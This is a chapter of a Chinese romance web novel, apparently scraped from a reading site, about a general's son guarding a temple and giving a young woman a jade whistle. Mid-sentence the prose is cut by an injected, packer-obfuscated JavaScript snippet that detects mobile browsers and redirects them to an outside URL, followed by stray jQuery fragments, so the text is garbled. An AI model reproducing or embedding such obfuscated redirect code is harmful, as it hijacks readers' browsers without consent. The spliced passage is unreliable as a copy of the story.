29. 玉哨

作品:《作壁上观

    大慈恩寺后山一处僻静的崖边,谢随静立在高大的百年古松下,苍劲的枝干在凛冽的寒风中纹丝不动。


    他揉了揉眉心,一个眼神都不想给同样站在后方的人。


    让谢安“送”走达摩达多,半道上竟然让这老僧给溜了。


    看来他还是没有放弃原本的计划。


    只是他留在上京的目的,究竟只是陆云衣,还是另有其他打算?


    谢安缩在后面不敢发出一个声响。


    旁边的谢平躬身问道,“少将军,接下来我们该如何行事?昨夜已照您的吩咐,将暗卫全数召回,只留了一队人马留在上京盯着二皇子。”


    谢随冷冷的声线砸在风中,“那日宫宴上,陛下虽当着满朝文武说,让我留在禁军中任教习,但调令尚未正式下达,我这几日且亲自守在这儿。”


    说完目光幽深得望了望山下的方向,也不知那达摩达多躲在哪个犄角旮旯。


    “至于暗卫?”谢随冷眼扫向谢安,“先把你捅出的篓子收拾干净再说。”


    他语气更加冷厉:“传令下去,全力搜查达摩达多的踪迹!”


    谢安像鹌鹑一样缩着,小声嘟囔:“那老和尚……实在狡猾得很。”


    谢平余光瞥过谢安,无声退下。谢安会意,慌忙看了谢随一眼,低头快步跟了上去。


    谢随只身立与古松下,山风过谷,吹不动虬枝分毫,也拂不乱衣袍半分。


    看着山下的万丈沟壑和凋敝的山林。大慈恩寺大殿的钟声从山壑间荡来,一声,又一声——浑厚而绵长。


    接连三响,大约是有香客在佛前俯首跪拜。


    今日既非初一也非十五,寺中的香客寥寥,抄经阁也只有定国公府要了一间静室。


    青烟从案上的焚香上缓缓升起,阁中静极了,只隐约听见谢老夫人低声诵经的声音。


    在她身后,谢璇与陆云衣各据一张桌案,垂首抄着经。


    听雪刚从外头进来,凑近见晴低声道:“我刚才好像瞥见谢平和谢安了。”


    见晴接过她手中的托盘,上面是一壶新沏的热茶。“他们怎会在此?难道少将军也来了?”


    听雪摇头:“没见到少将军。”


    前面的谢璇忽地转头,朝她俩挤了挤眼:“你俩嘀嘀咕咕说什么呢?”


    见晴走过去为她添上茶,低声转述了听雪的话。


    谢璇猛地提笔——一滴墨“啪”地落在抄了数行经文的宣纸上。


    也顾不上懊恼,只慌忙地问。“大哥来了?!”


    大哥这么快就追到这儿了……


    她望向陆云衣,而对方此时也正好抬眼看来。


    陆云衣轻轻颔首:“少将军也在寺中。今早我还……”


    她指尖无意识地抚过袖笼中那半截衣带——是的,她又拽着谢随的衣带睡着了。醒来时,人已经不见了,只有掌心还紧紧攥着这截衣带。


    “……今早我在藏经阁遇见了他。”


    一听谢随果然在此,谢璇当即坐不住了。她挪到陆云衣身边,压低声音急问:“他没对你做什么吧?”


    陆云衣摇头。


    “我先是在藏经阁遇见那个西域僧人……不知为何,他竟想抓我。我差点逃不掉,幸亏少将军赶来,才将他赶走。”


    谢璇越听越糊涂:“西域僧人?他要抓你?他怎么也会在这里?昨日不是该随使团离开上京吗?”


    “我也不知道。况且今早我去藏经阁时,天还未亮,平日这个时辰藏经阁根本无人,他竟在那时出现?”


    “如此奇怪?”谢璇蹙眉,“这人太诡谲,肯定是有所图谋。”


    她突然想通了,“难道大哥是追着这僧人来的寺中?”


    “璇丫头,经书抄完了吗?”


    她们说话声音虽已压得极低,但还是扰着谢老夫人了。


    她转过头,目光落在凑在一处的两个姑娘身上。


    “祖母,我这就接着抄。”谢璇连忙回到自己的桌案,坐正,换了一张宣纸又重新提笔。


    待到经卷抄毕,又随谢老夫人一同在佛前诵经,直到午膳时分。


    谢璇又才寻到机会,与陆云衣坐到了一处。


    却不想在膳堂,看见了一个她最不想看见的人——谢随。


    虽然她听了刚刚的事,觉得大哥可能是因为公干来的寺中,但毕竟是她撺掇陆云衣与祖母急匆匆上山的,就是为了躲开他。心中还是有点惴惴不安。


    “祖母。”谢随自然地在谢老夫人身侧的位置坐下。


    谢老夫人见到谢随还挺意外的,她忙叫苏嬷嬷去添一副碗筷,


    “大哥”谢璇忍不住开口问道,“你怎么还在这里?那西域和尚还在寺中?”


    谢随先转头向谢老夫人解释道。


    “那西域僧人祖母也见过,便是万国朝拜宴上,向皇上展示摩西禅院至宝经变画的那位僧人。”


    “是他?”谢老夫人有些印象,她素日礼佛虔诚,也观过几幅经变画。那西域僧人当日展示的画卷,确实称得上气势恢宏、宝相庄严。


    只是那僧人一双无眉的眸子,总透着股阴湿气,教人看了心中发憷。如今竟潜入大慈恩寺这等圣地——果然不像个正经修行的。


    谢随又望向那双明净的杏眼,说道,“那僧人我已经命人将他遣下山了……”


    听见这话,桌对面的女子松了一口气,她真是半点都不想再看见那妖僧了。


    但谢随接下来的话,又让她的心提了起来,“只是半道上失了他的踪迹,不知他是否会再折返回来。”


    “不必担心,”他的声音温和了几分,“这几日我会留在寺中。他不敢再来。”


    陆云衣抬眸望进沉静笃定的目光中,眸中神色尽是宽慰,眼中那层忧色才渐渐化开。


    谢璇心中隐隐有些后悔——早知如此,当初就不撺掇祖母和云衣这时候回大慈恩寺来。这不是好心反办了坏事吗?


    她正垂眸懊恼,却听见谢随又开了口:“对了祖母,眼下天寒地冻的,你们怎么想起这时候上山来?”


    谢璇心头一紧,连忙拿起筷子,夹了块菜就往口中送。


    “原来璇姐儿还喜欢吃八角。”谢随冰冷的声音又飘来。


    谢璇这才发觉口中的“菜”满口辛味,慌忙将东西吐了出来。一旁的陆云衣连忙递上茶水,丫鬟们也围上前服饰她漱口。


    谢老夫人看着手忙脚乱的孙女,摇头叹道:“还是这般冒失,真该多随我在寺里静静心,定定性子。”


    谢随仿佛没注意到谢璇的窘态,气定神闲地夹了一块豆腐放入谢老夫人碗中,“祖母这豆腐不错,一清二白甚好入口。”


    一清二白?


    谢璇心头一跳——这话怎么听着像在点她?自己的那点心思确实不算干净,莫非……大哥察觉了?


    她悄悄抬眼,恰恰撞进谢随幽深的眸子里,胸口顿时如擂鼓——他果然知道了。


    一口气没顺过来,茶水呛进喉间,她猛地咳嗽起来。


    陆云衣被她吓了一跳,连忙起身替她拍背。


    谢老夫人也忧心望去:“哎哟,这又是怎么了?苏嬷嬷,快去看看。”


    谢随不紧不慢地盛了碗汤,浅浅啜了一口:“许是茶水喝得急了,祖母不必担心。”


    随后,将瓷碗轻轻放下,起身道:“祖母,孙儿用好膳了。现在就去再查一遍寺中防卫。”


    既然已经知道有所隐患,还是谨慎些好。


    谢随一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108892|195293||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走,谢璇的咳声便瞬间止住了,快得让席间众人都怔了一怔。见她当真无事,大家这才重新举筷用膳。


    见过谢随后,谢璇就没有那么好过了,她生怕被谢随责问,索性除了谢老夫人吩咐的抄经之外,干脆整日闭门不出,只待在自己禅院之中。


    倒是陆云衣过得自在许多。每日除了抄经,便在藏经阁临摹画上的一些纹样。


    虽然还是逃脱不了被玄通法师问及功课,但每逢她背诵经文时,谢随总会“恰好”前来寻玄通法师对弈,正好解了她的围。


    玄通法师拈着白子凝神良久,终于缓缓落定,只是手还未从棋盘上抬起——


    谢随的黑子已紧接着落下,发出一声脆响。


    “法师承让了。”薄唇轻启,谢随为这局棋下了结论。


    陆云衣凑到棋盘旁,眨了眨眼:“师父,您又输啦?”语气里听不出多少惋惜,反倒带着几分俏皮,“我记不住经文,您输了棋——看来各人都有各人的短处呢。”


    玄通法师没理她,仍垂目注视着棋局,棋盘上黑子布局绵密、步步为营,他不由轻声喟叹:“少将军运筹帷幄,出手如风,落子如阵,果真是沙场点兵之将,算无遗策,老衲心服。”


    “玄通法师谬赞了。”谢随将手中的白子放回盒中,“幸得法师为慎之解惑,这几日与法师手谈,亦如听松涛,如观云起,慎之受益颇深。”


    他抬手为玄通法师重新斟满一杯清茶。


    “这几日在寺中多有叨扰,”在玄通法师这里,谢随语气是少有的随和“今日也是来向法师辞行。”


    “你要走了?”陆云衣急急问道。“要是那妖僧再回来这么办?”


    谢随从怀中取出一枚白玉哨,哨尾系着结绳项圈。“谢安会留在寺中。”


    “你带着这个。”


    谢随没有避讳玄通法师还在旁边,站起身走到陆云衣面前,亲手将玉哨为她戴上。


    暖白的玉哨轻轻垂落在胸口,他又低声叮嘱道,“你若遇到危险,或是心中害怕,吹响这个玉哨,自会有人来护你。


    等看见陆云衣点了头,他才转身又对玄通法师抱拳施礼,道,“晚辈就此别过。”


    说罢转身离去。


    走了两步,却又回头望了陆云衣一眼,才真正提步远去。


    玄通法师唤陆云衣入座,为她斟了杯茶,自顾自说道:“这少将军下棋杀伐果断,落子如利刃破竹。棋如其人,他为人定也是雷厉冷肃。”


    陆云衣捧起茶杯,一饮而尽。“才不是呢——少将军救过我许多回,还总帮我,待人极好!”


    “噢?”玄通法师看着陆云衣乖顺的模样,若有所思。


    “没想到少将军还是一个面冷心热之人。”


    陆云衣一边将棋子逐个拾回棋盒,一边轻声道:“府中其他人也待我很好。师父不必挂心,我在山下一切都好。”


    “谢二夫人还带我入宫赴宴——御花园又大又气派,宫殿连成片,飞檐精巧别致,宫中的酒更是格外香醇。”说着,脸上露出痴笑。


    看她神色,玄通法师就知道,她定是贪杯了,如今全须全尾回来,想来没有惹什么祸。


    “对了,”陆云衣又想起什么,语气轻快起来,“我如今在给绾绾的铺子画首饰纹样,这次给大家带的糕点就是我的分红买的。”


    “我们还商量着,过些日子要试着画些新式的布料花纹呢……”


    玄通法师静静听着陆云衣喋喋说着在山下的生活,心中很是宽慰。


    他原本还担心陆云衣不能适应世间生活,如今看来,倒是多虑了。


    谢府上下皆存善念,确是福泽深厚之家,也难怪少将军能与云衣结下这般缘分。


    阿弥陀佛。